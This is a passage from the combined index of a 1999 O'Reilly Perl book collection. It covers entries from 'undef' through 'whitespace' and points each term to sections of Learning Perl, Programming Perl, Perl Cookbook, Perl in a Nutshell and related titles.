initial value of local variables : Learning Perl, 8.5. Private Variables in Functions
pop() return value : Learning Perl, 3.4.3. The push and pop Functions
readdir() return value : Learning Perl, 12.5. Reading a Directory Handle
split() return value : Learning Perl, 7.6.1. The split Function
STDIN and : Learning Perl, 6.1. Input from STDIN
to control dbmopen() : Learning Perl on Win32 Systems, 17.2. Opening and Closing DBM Hashes
undefined (undef) value : Perl Cookbook, 1.0. Introduction
undefined scalars : Programming Perl, 2.3.2. Scalar Values
Boolean context and : Programming Perl, 2.3.3.2. Boolean context
undelete_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: undelete_message
-underline option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
underscore : (see _ (underscore))
undump program : Perl in a Nutshell, 3.2. Command-Line Options
unequal : (see equality operators; relational operators)
unescape_from() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: unescape_from
Unicode : Perl Cookbook, 1.0. Introduction
unimport()
Perl Cookbook, 1.18. Program: psgrep
Perl Cookbook, 13.15. Creating Magic Variables with tie
uninitialized variables : Programming Perl, 1.2.1.1. Singularities
uninstall() : Programming Perl, 7.2.16. ExtUtils::Install - Install Files from Here to There
unions of lists : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
unique list elements, extracting : Perl Cookbook, 4.6. Extracting Unique Elements from a List
unique_name() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: unique_name
uniqueness of objects : Advanced Perl Programming, 11.2.8. Uniqueness of Objects in Memory
UNIVERSAL module
Advanced Perl Programming, 7.3. UNIVERSAL
Perl Cookbook, 13.8. Determining Subclass Membership
Perl in a Nutshell, 8.163. UNIVERSAL
Programming Perl, 5.3.4. A Class Is Simply a Package
Unix
#! (shebang) line : Perl in a Nutshell, 3. The Perl Interpreter
clients/servers : Programming Perl, 6.2.4.2. UNIX-domain clients and servers
command processing : Perl in a Nutshell, 3.1. Command Processing
installing Perl on : Perl in a Nutshell, 2.3.1. Installing on Unix
security bugs : Programming Perl, 6.3.1.3. Security bugs
Unix domain sockets
Perl Cookbook, 17.0. Introduction
Perl Cookbook, 17.6. Using UNIX Domain Sockets
Perl in a Nutshell, 13. Sockets
UnixDate() : Perl Cookbook, 3.7. Parsing Dates and Times from Strings
unless statement
(see if statement)
Learning Perl on Win32 Systems, 9.5. Expression Modifiers
Perl in a Nutshell, 4.3.1. Conditionals and Loops
Perl in a Nutshell, 4.3.1.4. Modifiers
example of : Learning Perl on Win32 Systems, 10.4. A Slight Diversion: die
unlink()
Perl Cookbook, 9.2. Deleting a File
Perl Cookbook, 9.8. Removing a Directory and Its Contents
Learning Perl, 13.1. Removing a File
Perl in a Nutshell, Chapter 5, Reference: unlink
Programming Perl, 3.2.181. unlink
examples of : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
unlinking : (see deleting)
unmark() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: unmark
unmark_list() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: unmark_list
unmark_range() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: unmark_range
unmarked_articles() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: unmarked_articles
unordered lists : (see hashes (associative arrays))
unpack()
Perl Cookbook, 1.1. Accessing Substrings
Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
Perl Cookbook, 8.15. Reading Fixed-Length Records
Learning Perl, 16.2. Packing and Unpacking Binary Data
Perl in a Nutshell, Chapter 5, Reference: unpack
Programming Perl, 3.2.182. unpack
converting binary and decimal numbers : Perl Cookbook, 2.4. Converting Between Binary and Decimal
example of
Learning Perl, 16.3. Getting Network Information
Learning Perl, 17.4. Fixed-Length Random Access Databases
Learning Perl on Win32 Systems, 16.3. Getting Network Information
Learning Perl on Win32 Systems, 17.4. Fixed-Length Random-Access Databases
gethostbyname() return values and : Learning Perl, 16.3. Getting Network Information
return values from gethostbyname() : Learning Perl on Win32 Systems, 16.3. Getting Network Information
unpack_sockaddr_in() (Socket) : Perl in a Nutshell, Chapter 13, Reference: unpack_sockaddr_in
unpack_sockaddr_un() (Socket) : Perl in a Nutshell, Chapter 13, Reference: unpack_sockaddr_un
unpacking Perl source code
Perl in a Nutshell, 2.3.1. Installing on Unix
Perl in a Nutshell, 2.3.2.2. Standard Perl distribution
unpost() (Menu widget) : Perl in a Nutshell, 18.15.2. Menu Methods
unsafe operations
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
unshift()
Learning Perl, 3.4.4. The shift and unshift Functions
Perl in a Nutshell, Chapter 5, Reference: unshift
Programming Perl, 3.2.183. unshift
circular lists : Perl Cookbook, 4.16. Implementing a Circular List
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
unsub_groups() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: unsub_groups
unsubscribe() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: unsubscribe
untie()
Perl Cookbook, 14.1. Making and Using a DBM File
Perl in a Nutshell, Chapter 5, Reference: untie
Programming Perl, 3.2.23. dbmclose
Programming Perl, 3.2.184. untie
Programming Perl, 5.4. Using Tied Variables
until statement
(see while loops)
Learning Perl on Win32 Systems, 9.5. Expression Modifiers
Perl in a Nutshell, 4.3.1.1. while loops
Perl in a Nutshell, 4.3.1.4. Modifiers
up-arrow, in regular expressions : Learning Perl, 7.3.1. Single-Character Patterns
update_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: update_message
uppercase : (see case/capitalization)
URI modules : Perl in a Nutshell, 17.5. The URI Module
URI::Escape : Perl in a Nutshell, 17.5. The URI Module
URI::Heuristic
Perl Cookbook, 20.7. Finding Stale Links
Perl in a Nutshell, 17.5. The URI Module
URI::URL : Perl in a Nutshell, 17.5.2. URI::URL
URI::URL module : Perl in a Nutshell, 17.1. LWP Overview
URIs (Universal Resource Identifiers) : Perl in a Nutshell, 17.1. LWP Overview
url()
CGI.pm module : Perl in a Nutshell, Chapter 10, Reference: url
HTTP::Daemon module : Perl in a Nutshell, Chapter 17, Reference: url
HTTP::Request module : Perl in a Nutshell, Chapter 17, Reference: url
urlify program : Perl Cookbook, 6.21. Program: urlify
URLs (uniform resource locators)
(see also Win32 modules, Win32::Internet module)
Perl Cookbook, 19.0. Introduction
Learning Perl, 19. CGI Programming
Perl in a Nutshell, Chapter 19, Reference: CanonicalizeURL
encoding : Perl in a Nutshell, 9.2. URL Encoding
extra path information : Perl in a Nutshell, 9.3. Extra Path Information
extracting from HTML : Perl Cookbook, 20.3. Extracting URLs
fetching from Perl scripts : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
putting HTML links around : Perl Cookbook, 6.21. Program: urlify
redirecting CGI requests : Perl Cookbook, 19.8. Redirecting to a Different Location
URI::URL module
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.5.2. URI::URL
use declarations (pragmas)
(see also pragmas)
Advanced Perl Programming, 6.2. Packages and Files
Advanced Perl Programming, 6.5. Importing Symbols
Perl Cookbook, 12.0. Introduction
Learning Perl, 19.4. Passing Parameters via CGI
Learning Perl on Win32 Systems, 18.4. Passing Parameters via CGI
Learning Perl on Win32 Systems, 19.2. Creating Automation Objects
Perl in a Nutshell, 7. Packages, Modules, and Objects
Perl in a Nutshell, 7.2. Modules
trapping errors in : Perl Cookbook, 12.2. Trapping Errors in require or use
use autouse : Perl Cookbook, 12.3. Delaying use Until Run Time
use English : Perl in a Nutshell, 4.4. Special Variables
use integer : Perl in a Nutshell, 4.5.3. Arithmetic Operators
use lib : Perl Cookbook, 12.7. Keeping Your Own Module Directory
use locale
Perl Cookbook, 1.9. Controlling Case
Perl Cookbook, 6.0. Introduction
Perl Cookbook, 6.12. Honoring Locale Settings in Regular Expressions
use overload pragma : Perl Cookbook, 13.14. Overloading Operators
use Socket : Perl in a Nutshell, 13.1.1. Initializing a Socket
use strict : Programming Perl, 8.2.2. Frequently Ignored Advice
use vars : Programming Perl, 7.2.2. AutoLoader - Load Functions Only on Demand
use_alarm() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: use_alarm
use_named_parameters() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: use_named_parameters
Usenet news
Perl Cookbook, 18.4. Reading and Posting Usenet News Messages
Perl in a Nutshell, 15. Usenet News
Net::News module : Perl in a Nutshell, 15.2. Net::NNTP
News::Newsrc module : Perl in a Nutshell, 15.3. The News::Newsrc Module
Perl-related newsgroups
Learning Perl, Support
Perl in a Nutshell, 1.4.1. The comp.lang.perl.* Newsgroups
use() : Perl in a Nutshell, Chapter 5, Reference: use
user()
Mail::Address module
Perl in a Nutshell, Chapter 14, Reference: user
Perl in a Nutshell, 14.2.6. Parse Email Addresses with Mail::Address
Net::POP3 module
Perl in a Nutshell, Chapter 14, Reference: user
Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: user
User() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: User
user_agent() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: user_agent
USER command (POP3) : Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
user-defined functions : (see subroutines)
user-defined structures : Advanced Perl Programming, 2.1. User-Defined Structures
matrices example : Advanced Perl Programming, 2.2. Example: Matrices
user efficiency : Programming Perl, 8.3.6. User Efficiency
user function : (see subroutines)
User::grent module : Perl in a Nutshell, 8.164. User::grent
user ID : (see uid (user ID))
user input : (see input)
user interfaces : (see GUIs (graphical user interfaces))
user_name() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: user_name
User::pwent module : Perl in a Nutshell, 8.165. User::pwent
UserAgent() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: UserAgent
UserAgent object
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.2. The LWP Modules
Perl in a Nutshell, 17.2.3. LWP::UserAgent
UserCreate() (Win32::NetAdmin) : Perl in a Nutshell, Chapter 19, Reference: UserCreate
Username() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Username
usernames
Learning Perl, 16.1. Getting Password and Group Information
Programming Perl, 3.2.62. getpwnam
users
fetching information on : Perl in a Nutshell, 5.1. Perl Functions by Category
user CPU time
Programming Perl, 3.2.174. times
Programming Perl, 7.2.4.1. Notes
userstats program (example) : Perl Cookbook, 14.1. Making and Using a DBM File
"uses" relationship : Programming Perl, 5.5.7. Implementation (the "Uses" Relationship)
/usr/dict/words : Learning Perl, 7.7. Exercises
utime()
Perl Cookbook, 9.1. Getting and Setting Timestamps
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
Perl in a Nutshell, Chapter 5, Reference: utime
Programming Perl, 3.2.186. utime
utmp file : (see /etc/utmp file)
UUCP : Learning Perl, UUCP
uvi program (example) : Perl Cookbook, 9.1. Getting and Setting Timestamps

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

V command (debugger)
Perl in a Nutshell, Chapter 6, Reference: V
Programming Perl, 8.1.1. Debugger Commands
v command (Perl debugger) : Perl in a Nutshell, Chapter 6, Reference: v
-v option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-V option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-v option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
-v switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
-V switch, perl
Advanced Perl Programming, 6.2.1. Load Path
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
validate() : Programming Perl, 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
valof() (Win32::OLE) : Perl in a Nutshell, Chapter 19, Reference: valof
Value() (Win32::OLE::Variant) : Perl in a Nutshell, Chapter 19, Reference: Value
-value option
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
values
(see also numbers; strings; variables)
Perl Cookbook, 1.2. Establishing a Default Value
arrays : (see arrays)
comma-separated (CSV)
initializing arrays with : Perl Cookbook, 4.1. Specifying a List In Your Program
parsing : Perl Cookbook, 1.15. Parsing Comma-Separated Data
converting with ASCII characters : Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
definedness
Perl Cookbook, 1.0. Introduction
Perl Cookbook, 1.2. Establishing a Default Value
exchanging between scalar variables : Perl Cookbook, 1.3. Exchanging Values Without Using Temporary Variables
list : (see lists)
Perl value types
Advanced Perl Programming, 20.3. Perl Value Types
Advanced Perl Programming, 20.7. A Peek into the Future
scalar : (see scalars)
undefining : Programming Perl, 3.2.180. undef
values()
Learning Perl, 5.4.2. The values Function
Perl in a Nutshell, Chapter 5, Reference: values
Programming Perl, 3.2.187. values
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
variable interpolation
Learning Perl, 2.6.4. Interpolation of Scalars into Strings
Programming Perl, 2.3.2.2. String literals
array variables : Learning Perl, 3.7. Variable Interpolation of Arrays
double-quoted strings and : Learning Perl, 2.3.2. Double-Quoted Strings
globbing : Learning Perl, 12.2. Globbing
regular expressions : Learning Perl, 7.4.4. Using Variable Interpolation
substitute operator and : Learning Perl, 7.5. Substitutions
system() and : Learning Perl, 14.1. Using system and exec
variable-length records/fields
Perl Cookbook, 8.9. Processing Variable-Length Text Fields
Programming Perl, 2.8. Formats
-variable option
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
variable part of format : Learning Perl, 11.1. What Is a Format?
variables
(see also data types)
(see also references)
Advanced Perl Programming, 1.6. A View of the Internals
Advanced Perl Programming, 20.2.1. Perl Objects
Perl in a Nutshell, 4.2.4. Variables
Programming Perl, 2.1. Lexical Texture
Programming Perl, 2.3.1. Variables
Programming Perl, 4. References and Nested Data Structures
Programming Perl, 4.3.1. Using a Variable as a Variable Name
aliases for : Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
array
Learning Perl, 3.3. Variables
Programming Perl, 2.3.2.5. Interpolating array values
associative arrays (hashes)
Learning Perl, 5.2. Hash Variables
Programming Perl, 2.3.5. Hashes (Associative Arrays)
awk versus Perl : Programming Perl, 8.2.3. Awk Traps
binding to packages : Programming Perl, 3.2.184. untie
configuration : (see configuration)
control, in foreach loop : Programming Perl, 2.6.4.3. Foreach loops
declaration and scope
Perl in a Nutshell, 4.2.6. Declarations and Scope
Perl in a Nutshell, 4.7.4. Private and Local Variables
Programming Perl, 2.6. Statements and Declarations
Programming Perl, 2.6.8. Scoped Declarations
scoping functions : Perl in a Nutshell, 5.1. Perl Functions by Category
default value of : Learning Perl, 2.9. The Undefined Value
environment : Programming Perl, 2.9.4. Global Special Arrays
eval function and : Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
expanding in user input : Perl Cookbook, 1.8. Expanding Variables in User Input
per filehandle : Programming Perl, 2.9.2. Per-Filehandle Special Variables
filehandles as
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.16. Storing Filehandles in Variables
format : Programming Perl, 2.8.1. Format Variables
global
Advanced Perl Programming, 3.1. Perl Variables, Symbol Table, and Scoping
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
Hungarian notation : Advanced Perl Programming, 1.2.4. Dereferencing Multiple Levels of Indirection
instance : (see instance variables)
interpolation : Programming Perl, 1.2.1.1. Singularities
interpretation : Programming Perl, 1.2.1.1. Singularities
lexical
Advanced Perl Programming, 3.1.1. Lexical Variables
Advanced Perl Programming, 6.1.1. Packages and Variables
local
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 3.2.3. Aliasing Problem: Variable Suicide
Advanced Perl Programming, 4.3.1. Closures, Behind the Scenes
Advanced Perl Programming, 6.4. Privacy
Advanced Perl Programming, 20.3.5.2. How local and my work
Perl in a Nutshell, 4.2.6. Declarations and Scope
Perl in a Nutshell, 4.7.4. Private and Local Variables
Programming Perl, 3.2.87. local
Programming Perl, 8.2.2. Frequently Ignored Advice
for modules : Perl Cookbook, 12.4. Making Variables Private to a Module
for subroutines : Perl Cookbook, 10.2. Making Variables Private to a Function
loop (iterator) variables : Perl Cookbook, 4.4. Doing Something with Every Element in a List
magic
Advanced Perl Programming, 20.3.6. Magic Variables
Perl Cookbook, 13.15. Creating Magic Variables with tie
modules/packages and : Advanced Perl Programming, 6.1. Basic Package
monitoring (example) : Advanced Perl Programming, 9.5. Example: Monitoring Variables
my : (see my declarations)
my variables : Advanced Perl Programming, 20.3.5.2. How local and my work
names for
Advanced Perl Programming, 3.2.2.3. Friendly predefined variables with aliases
Learning Perl, 1.5.8. Making It Fair for the Rest
Learning Perl on Win32 Systems, 1.6.8. Making It Fair for the Rest
Programming Perl, 1.2.1. Nouns
Programming Perl, 8.4. Programming with Style
package, displaying : Programming Perl, 8.1.1. Debugger Commands
pattern match variables : Perl in a Nutshell, 4.6.7. Pattern Match Variables
predefined : Learning Perl on Win32 Systems, D.6. Many, Many Predefined Variables
private : (see variables, local)
qualifying names of : Programming Perl, 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
read-only : Advanced Perl Programming, 3.3.2. Constants
references/pointers : (see references)
resetting values of : Programming Perl, 3.2.124. reset
scalar
(see also scalars)
Learning Perl, 2.5. Scalar Variables
Perl in a Nutshell, 4.2.5. Scalar and List Contexts
sharing among different processes : Perl Cookbook, 16.12. Sharing Variables in Different Processes
special
Perl in a Nutshell, 4.4. Special Variables
Programming Perl, 2.9. Special Variables
static allocation : Advanced Perl Programming, 1.1. Referring to Existing Variables
strings : (see strings)
subroutines and : Learning Perl, 8.1. Defining a User Function
translating with : Programming Perl, 2.4.2. Pattern-Matching Operators
tying
Programming Perl, 3.2.171. tie
Programming Perl, 5.4. Using Tied Variables
use strict 'vars' : Programming Perl, 7.2.59. strict - Restrict Unsafe Constructs
varable suicide
Advanced Perl Programming, 3. Typeglobs and Symbol Tables
Advanced Perl Programming, 3.2.3. Aliasing Problem: Variable Suicide
Variant data structure
Learning Perl on Win32 Systems, 19.4. Variants
Perl in a Nutshell, 19.18.4. Win32::OLE::Variant
vars module
Perl in a Nutshell, 8.166. vars
Programming Perl, 5.4.1. Tying Scalars
Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
vbsh program (example) : Perl Cookbook, 15.11. Editing Input
vec()
Perl in a Nutshell, Chapter 5, Reference: vec
Programming Perl, 3.2.188. vec
vectors, strings as : Programming Perl, 3.2.188. vec
verbatim paragraphs (pod) : Perl in a Nutshell, 4.11. Pod
-verbose option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
verbose warning messages : Programming Perl, 7.2.10. diagnostics - Force Verbose Warning Diagnostics
verbs : Programming Perl, 1.2.2. Verbs
verify() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: verify
Version() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Version
VERSION() (UNIVERSAL)
Advanced Perl Programming, 7.3. UNIVERSAL
Perl Cookbook, 13.8. Determining Subclass Membership
$VERSION variable (use pragma) : Perl Cookbook, 12.1. Defining a Module's Interface
version, module
Perl in a Nutshell, 2.4.1. Locating modules
Programming Perl, 7.2.15.2. Module version checking
version, Perl : Programming Perl, 2.9.3. Global Special Variables
obtaining current : Perl in a Nutshell, 2.1. The CPAN Architecture
printing : Perl in a Nutshell, 3.2. Command-Line Options
for Win32 systems : Perl in a Nutshell, 2.3.2. Installing on Win32
vertical bar : (see | (vertical bar))
Very Bad Programming Style, example of : Learning Perl on Win32 Systems, 3.4.2. Array Element Access
vi editor, debugger and : Programming Perl, 8.1.5. Editor Support for Debugging
virtual tables : Advanced Perl Programming, 20.3.6. Magic Variables
virtual web documents : Perl in a Nutshell, 9.1.2. Creating Virtual Documents
visit function
Advanced Perl Programming, 17.3.2. Intermediate Perl Code
Advanced Perl Programming, 17.4.1. AST Module
Visual Basic
Advanced Perl Programming, Why Perl?
Learning Perl on Win32 Systems, 19.5.1. Translating Samples from Visual Basic
visual bell : Perl Cookbook, 15.7. Ringing the Terminal Bell
-visual option
Frame widget : Perl in a Nutshell, 18.17. The Frame Widget
toplevel widget : Perl in a Nutshell, 18.18. The Toplevel Widget
VMS, Perl under : Learning Perl, 1.3. Availability
vmsish module : Perl in a Nutshell, 8.167. vmsish
void context : Programming Perl, 2.3.3.3. Void context
von Neumann, John : Learning Perl, Foreword
vowels, matching : Learning Perl, 7.3.1. Single-Character Patterns
vrfy program (example) : Perl Cookbook, 18.9. Program: expn and vrfy

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

\W (nonword) character class : Perl in a Nutshell, 4.6.4. Character Classes
\w (word) character class
Learning Perl, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.4. Character Classes
Programming Perl, 1.7. Regular Expressions
w command (debugger)
Perl in a Nutshell, Chapter 6, Reference: w
Programming Perl, 8.1.1. Debugger Commands
Programming Perl, 8.1.2. Using the Debugger
-w file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-W file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-w switch, perl
Advanced Perl Programming, 9.5. Example: Monitoring Variables
Learning Perl, 2.4.4. Conversion Between Numbers and Strings
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 6.1.2. Switches
Programming Perl, 9. Diagnostic Messages
diagnostics module : Programming Perl, 7.2.10. diagnostics - Force Verbose Warning Diagnostics
wait()
Advanced Perl Programming, 12.3.1. Multiple Threads of Execution
Perl Cookbook, 16.19. Avoiding Zombie Processes
Learning Perl, 14.4. Using fork
Perl in a Nutshell, Chapter 5, Reference: wait
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 3.2.189. wait
Win32::ChangeNotification module : Perl in a Nutshell, Chapter 19, Reference: wait
Win32::Mutex module : Perl in a Nutshell, Chapter 19, Reference: wait
Win32::Semaphore module : Perl in a Nutshell, Chapter 19, Reference: wait
Wait() (Win32::Process) : Perl in a Nutshell, Chapter 19, Reference: Wait
waitpid()
Advanced Perl Programming, 12.3.1. Multiple Threads of Execution
Perl Cookbook, 16.19. Avoiding Zombie Processes
Perl in a Nutshell, Chapter 5, Reference: waitpid
Programming Perl, 3.2.190. waitpid
Wall, Larry
Learning Perl, 1.1. History of Perl
Learning Perl, 9.4. Labeled Blocks
Learning Perl, 9.6. && and || as Control Structures
Learning Perl, 18.2. Converting sed Programs to Perl
Learning Perl, Foreword
Learning Perl, Second Edition Update
Learning Perl, Support
Learning Perl on Win32 Systems, 1.4. Support
Learning Perl on Win32 Systems, 9.6. &&, ||, and ?: as Control Structures
Learning Perl on Win32 Systems, Foreword to the First Edition of Learning Perl
Perl in a Nutshell, 1.2. Perl Development
wantarray()
Perl Cookbook, 10.6. Detecting Return Context
Perl in a Nutshell, Chapter 5, Reference: wantarray
Programming Perl, 3.2.191. wantarray
Warn attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
warn function
Perl in a Nutshell, Chapter 5, Reference: warn
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 3.2.192. warn
dialog box for : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
HTML::Parser module : Perl in a Nutshell, Chapter 17, Reference: warn
__WARN__ token
Perl Cookbook, 16.15. Installing a Signal Handler
Programming Perl, 2.9.4. Global Special Arrays
$WARNING : (see $ variables, $^W variable)
warning messages
(see also errors)
Perl Cookbook, 12.12. Reporting Errors and Warnings Like Built-Ins
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 3.2.192. warn
Programming Perl, 6.1.2. Switches
Programming Perl, 9. Diagnostic Messages
diagnostics module : Programming Perl, 7.2.10. diagnostics - Force Verbose Warning Diagnostics
reporting like built-ins : Perl Cookbook, 12.12. Reporting Errors and Warnings Like Built-Ins
$WARNING ($^W) variable
Perl Cookbook, 13.5. Using Classes as Structs
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
wc program : Perl Cookbook, 8.2. Counting Lines (or Paragraphs or Records) in a File
web, references on : Perl Cookbook, 19.0. Introduction
web access, LWP library for : (see LWP library)
web architecture : Perl Cookbook, 19.0. Introduction
web automation : Perl Cookbook, 20.0. Introduction
converting ASCII to/from HTML : Perl Cookbook, 20.4. Converting ASCII to HTML
extracting URLs from HTML : Perl Cookbook, 20.3. Extracting URLs
fetching URLs : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
finding stale/fresh links : Perl Cookbook, 20.7. Finding Stale Links
HTML templates : Perl Cookbook, 20.9. Creating HTML Templates
HTML text substitutions : Perl Cookbook, 20.14. Program: htmlsub
mirroring web pages : Perl Cookbook, 20.10. Mirroring Web Pages
parsing web server log files : Perl Cookbook, 20.12. Parsing a Web Server Log File
processing server logs : Perl Cookbook, 20.13. Processing Server Logs
removing/extracting HTML tags : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
robots : Perl Cookbook, 20.11. Creating a Robot
submitting HTML forms : Perl Cookbook, 20.2. Automating Form Submission
web client, creating : Perl in a Nutshell, 17.2.2. LWP::Simple
web documents, virtual : Perl in a Nutshell, 9.1.2. Creating Virtual Documents
web server logs : Perl Cookbook, 19.0. Introduction
parsing : Perl Cookbook, 20.12. Parsing a Web Server Log File
processing : Perl Cookbook, 20.13. Processing Server Logs
web server programming : Perl in a Nutshell, 11. Web Server Programming with mod_perl
Webget client (example) : Learning Perl on Win32 Systems, C.2. A Webget Client
week_number() : Perl Cookbook, 3.6. Day in a Week/Month/Year or Week Number
weekearly program (example) : Perl Cookbook, 8.13. Updating a Random-Access File
weeks : (see date and time)
weighted_rand() (example) : Perl Cookbook, 2.10. Generating Biased Random Numbers
while loops
Learning Perl, 1.5.4. Guessing the Secret Word
Learning Perl, 4.3. The while/until Statement
Learning Perl, 9.5. Expression Modifiers
Learning Perl on Win32 Systems, 1.6.4. Guessing the Secret Word
Learning Perl on Win32 Systems, 4.3. The while/until Statement
Learning Perl on Win32 Systems, 9.5. Expression Modifiers
Perl in a Nutshell, 4.3.1.1. while loops
Perl in a Nutshell, 4.3.1.4. Modifiers
Programming Perl, 1.6.2.1. The while and until statements
Programming Perl, 2.6.4.1. While statements
angle operator and $_ : Programming Perl, 2.3.7.2. Line input (angle) operator
eof function in : Programming Perl, 3.2.31. eof
example of
Learning Perl, A.3. Chapter 4, Control Structures
Learning Perl, A.6. Chapter 7, Regular Expressions
Learning Perl, 1.5.13. Many Secret Word Files in the Current Directory
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 5.4.1. The keys Function
Learning Perl, 5.4.3. The each Function
Learning Perl, 6.1. Input from STDIN
Learning Perl on Win32 Systems, A.3. Chapter 4, Control Structures
Learning Perl on Win32 Systems, 1.6.13. Many Secret Word Files in the Current Directory
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 5.4.1. The keys Function
Learning Perl on Win32 Systems, 5.4.3. The each Function
Learning Perl on Win32 Systems, 6.1. Input from STDIN
last operator
Learning Perl, 9.1. The last Statement
Programming Perl, 3.2.81. last
next operator : Learning Perl, 9.2. The next Statement
redo operator : Learning Perl, 9.3. The redo Statement
until modifier : Learning Perl, 9.5. Expression Modifiers
whitespace
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.5. Basic Concepts
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.1. Lexical Texture
Programming Perl, 3. Functions
Programming Perl, 7.2.70. Text::Tabs - Expand and Unexpand Tabs
Programming Perl, 8.4. Programming with Style
between array values when interpolated : Learning Perl, 3.7. Variable Interpolation of Arrays
deleting leading/trailing : Perl Cookbook, 1.14. Trimming Blanks from the Ends of a String
encoding into URLs : Perl in a Nutshell, 9.2. URL Encoding
extracting ranges of lines : Perl Cookbook, 6.8. Extracting a Range of Lines
in formats : Learning Perl, 11.2. Defining a Format
indenting here documents : Perl Cookbook, 1.11. Indenting Here Documents
matching across multiple lines : Perl Cookbook, 6.6. Matching Multiple Lines
matching words : Perl Cookbook, 6.3. Matching Words
in pack format string : Learning Perl, 16.2. Packing and Unpacking Binary Data
in Perl programs
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.5. Basic Concepts
Perl in a Nutshell, 4.1. Program Structure
in pod documentation : Perl Cookbook, 12.16. Documenting Your Module with Pod
in regular expressions : Learning Perl, 7.3.1. Single-Character Patterns
